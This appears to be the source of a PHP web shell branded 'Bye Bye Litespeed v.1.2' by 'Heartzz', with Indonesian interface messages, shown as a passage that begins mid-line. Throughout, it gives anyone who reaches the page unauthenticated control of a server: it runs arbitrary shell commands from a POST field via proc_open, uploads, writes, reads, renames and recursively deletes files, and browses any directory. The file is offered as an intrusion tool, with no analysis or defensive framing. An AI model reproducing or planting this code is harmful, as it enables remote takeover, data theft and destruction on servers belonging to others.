$d) $_GET[$c] = y($d);
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo '
Folder created successfully!';
} else {
echo '
Error: Folder already exists!';
}
} elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '
File created successfully!';
} else {
echo '
Error: Failed to create file!';
}
} else {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '
File edited successfully!';
} else {
echo '
Error: Failed to edit file!';
}
}
} elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo '
Folder deleted successfully!';
} else {
echo '
Error: Failed to delete folder!';
}
} else {
if (unlink($fileToDelete)) {
echo '
File deleted successfully!';
} else {
echo '
Error: Failed to delete file!';
}
}
} else {
echo '
Error: File or directory not found!';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo '
Item renamed successfully!';
} else {
echo '
Error: Failed to rename item!';
}
} else {
echo '
Error: Item not found!';
}
} elseif (isset($_POST['cmd_input'])) {
$command = $_POST['cmd_input'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = '
Result:
';
} else {
$viewCommandResult = '
Result:
';
}
} else {
$viewCommandResult = '
Error: Failed to execute command!
';
}
} elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = '
Result: ' . $_POST['view_file'] . '
';
} else {
$viewCommandResult = '
Error: File not found!
';
}
}elseif ($_SERVER["REQUEST_METHOD"] == "POST") {
$target_file = basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "File ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " telah diunggah.";
} else {
echo "Maaf, terjadi kesalahan saat mengunggah file Anda.";
}
}
}
echo '
__ Bye Bye Litespeed _____ __
__| |___ ___ ___ ___ ___ | __| | v.1.2
| | | .\'| . | . | .\'| | |__ | |__
|_____|__,|_ |___|__,|_|_| |_____|_____|
|___| ./Heartzz
';
echo "Zona waktu server: " . $timezone . "
";
echo "Waktu server saat ini: " . date('Y-m-d H:i:s');
echo '
curdir: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
$currentPath .= DIRECTORY_SEPARATOR . $dir;
if ($index == 0) {
echo ' /
' . $dir . '';
} else {
echo ' /
' . $dir . '';
}
}
echo '
/ [ GO Home ]';
echo '
';
echo '
';
echo '
';
echo '
';
echo '
';
echo $viewCommandResult;
echo '
';
echo '
';
echo '
';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>